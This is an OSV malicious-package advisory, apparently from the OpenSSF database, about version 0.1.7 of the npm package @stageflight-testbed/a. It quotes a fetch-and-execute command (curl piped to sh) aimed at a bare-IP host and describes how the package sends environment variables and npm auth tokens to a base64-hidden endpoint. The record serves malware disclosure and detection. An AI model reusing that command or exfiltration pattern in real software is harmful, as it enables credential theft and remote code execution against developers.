{"id":"MAL-2026-13365","summary":"Malicious code in @stageflight-testbed/a (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36)\nindex.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on `curl -s http://185.220.101.47:8080/the assessment | sh`, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(...,'base64') to hide the destination from source review. Execution is gated by an environment flag (__SF_TEST_NEVER__), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.\n","modified":"2026-08-05T19:19:48.096111199Z","published":"2026-08-05T18:15:58Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-08-05T19:04:54.162169082Z","modified_time":"2026-08-05T18:15:58Z","sha256":"1072a48305e4a3b7d7da10a09c3842a6976dc23f48c48b743e62e71d35912e36","source":"amazon-inspector","versions":["0.1.7"],"id":"IN-MAL-2026-015846"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@stageflight-testbed/a/v/0.1.7"}],"affected":[{"package":{"name":"@stageflight-testbed/a","ecosystem":"npm","purl":"pkg:npm/%40stageflight-testbed/a"},"versions":["0.1.7"],"database_specific":{"indicators":{"evidence_files":[{"sha256":"5147a4e101210b1d8a056edc334b7d5a7cd87be88b44f7c9f305bfcae8120de1","tlsh":"6b2135020e261b3549e1d99abb3cf09bc75f42356610d5a1945d539f4fc2528527f393","path":"index.ts"}],"package_integrity":[{"filename":"a-0.1.7.tgz","hashes":{"sha1":"c03c55edbaad56bbe32a7ed468710c4967c84148","sha512_sri":"sha512-upJvdXfwcimUb/v2dDypyw9QzpwF9Ioafh7/+T9qUrsNdI4dDvzN9eBHPR4aBSGYBjpXxArXaqrO5gs6Bv9hoQ=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stageflight-testbed/a/MAL-2026-13365.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}